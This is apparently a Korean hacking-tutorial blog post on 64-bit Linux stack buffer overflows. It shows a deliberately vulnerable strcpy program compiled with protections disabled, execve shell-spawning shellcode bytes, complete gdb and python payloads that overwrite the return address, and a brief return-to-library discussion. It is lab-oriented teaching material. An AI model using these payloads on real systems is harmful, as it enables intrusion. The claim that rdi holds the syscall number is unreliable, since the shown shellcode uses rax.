본문 바로가기

IT/System Hacking

64bit 버퍼오버플로우(Buffer Overflow)

/* 
written by kaspy (kaspyx@gmail.com)
*/ 

버퍼 오버플로우 공격기법이 등장한지도 꽤오래되었지만 64비트에서 공략하는 문서는 그리 많지않아서 정리하게되었다.

그냥... 64비트는 그환경특성상 exploit 하기 여러모로 굉장히 더어려워졌다.


1. 쉘코드

우선은 간단한거부터 말하자면 (당연한거지만) 64비트 리눅스 ELF 바이너리에서는 64비트 쉘코드를 써야한다는것이다. 


32비트 같은 경우에는 eax 레지스터에 0xb를 넣고 ebx에 "/bin/sh"의 문자열의 주소, ecx,edx에는 0을 넣은뒤 int 0x80 어셈블리를 실행하면 쉘이 쉘이 떴다. 


그러나 64비트에서는 syscall 이라는 어셈블리를 사용하고 rdi에 0x3b를 넣고, rsi와 rdx에 0을 넣은뒤 호출해야 쉘이 뜬다. 그러니 64비트 리눅스용 쉘코드를 검색해서 사용하도록 하자.


여기서는 구글링하여 여기의 쉘코드를 참조하였다.


2. 접근 주소범위


64비트 환경의 레지스터 크기는 8바이트이며 레지스터도 다르다.


근데 무엇보다 사용자가 접근할수 있는 주소는 첫 47비트까지이다. 


BoF를 일으켜서 ret등을 조작할때 0x00007fffffffffff 까지 가능하며 그보다 큰값이 들어오면 프로그램 예외가 발생하여 에러로 종료하게 된다. strcpy 함수 취약점을 공략하려해도 널바이트때문에 많은 제약사항이 생겨버렸다. 어떻게보면 강제적으로 ASCII 아머가 탑재되있다고봐도 무방하다.


3. 버퍼 오버플로우 기본


취약코드 샘플은 아래와 같다.

테스트환경: Ubuntu Linux 16.04 

  1. #include <stdio.h>                                                                          
  2.  
  3. int main(int argc, char *argv[])
  4. {
  5.   puts("This is 64bit bof vulnerable program");
  6.   char buf[256];
  7.  
  8.   if ( argc < 2)
  9.   {
  10.     return -1;
  11.   }
  12.  
  13.   strcpy(buf, argv[1]);
  14.   printf("You entered %s\n", buf);
  15.  
  16.   return 0;
  17. }
  18. //gcc -o bof64 bof64.c -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack
  19. //sysctl -w kernel.randomize_va_space=0

우선 기본적인것을 연습해야하니 ASLR과 NX를 끄고 테스트를 끄고 테스트하도록 하겠다.

페이로드는 (NoP + Shellcode) (256byte) + RBP (8byte) + RSP (8byte)로 볼수있다.

gdb를 통해 264바이트를 가득 채워서 strcpy를 통해 저장되는 주소를 확인해보도록하자.

r `python -c 'print "a" * 264' + "aaaaaaaa"`



쉘코드의 주소는 0x7fffffffdfb0 으로 확인되었다.

즉 아래와같이 파이썬을 통해 페이로드를 입력해주면 쉘이뜬다.

r `python -c 'print  "\x90"*100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

+"\x90"*137+ "\xb0\xdf\xff\xff\xff\x7f"'` 



 gdb 없이 실행해서 위의 Payload를 넣으면 실행되지 않을것이다. 왜냐하면 그냥 실행하면 gdb를 통해 실행하는것과 환경변수등이 달라서 쉘코드의 주소가 저장되는 버퍼의 주소가 달라지기 때문이다. 그러나 주소가 크게 달라지진 않으므로 gdb 주소 기준으로 주소를 증가시키면서 100바이트 내로 브루트포스하면 쉘이뜬다.  나는 아래와같이 gdb 기준으로 48 바이트 더했더니 쉘이 떳다.


./bof64 `python -c 'print  "\x90"*100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

+"\x90"*137+ "\xe0\xdf\xff\xff\xff\x7f"'`



4. RTL(Return to Library), ROP(Return Oriendted Programming)


RTL 같은경우는 pop rdi, ret 의 가젯을 찾은다음에 rdi에 "/bin/sh"의 주소를 이어로는 ret의 주소에는 system 함수주소를 넣어주면 된다. 



(사용할 gadget의 주소들이 0x00007fffffffffff 이하로 전부 null이 포함되어있다.)


그러나 예제의 strcpy 취약코드로는 RTL, ROP 기법을 사용하기 어려워졌다. 


왜냐하면 우리가 주입하는 페이로드는 47비트까지만 덮을수있어서 반드시 널바이트가 여러번 포함 되는데 그렇게되면 반복적인 스테이징 기법에 필요한 Payload를 사용할수 없기때문이다. 그래서 (read 함수등으로 인한 취약점이 아니라면)위에서 언급한 예제로는 공략이 불가능에 가깝다고본다. 그래서 이기법에 대해서는 따로 다루어보도록하겠다.


혹시 아는분이 있다면 알려주면 고맙겠습니다... :)



* 참고 링크


- http://crypto.stanford.edu/~blynn/rop/

http://hikai.tistory.com/7

http://lesh.tistory.com/32

http://shell-storm.org/shellcode/files/shellcode-806.php (쉘코드)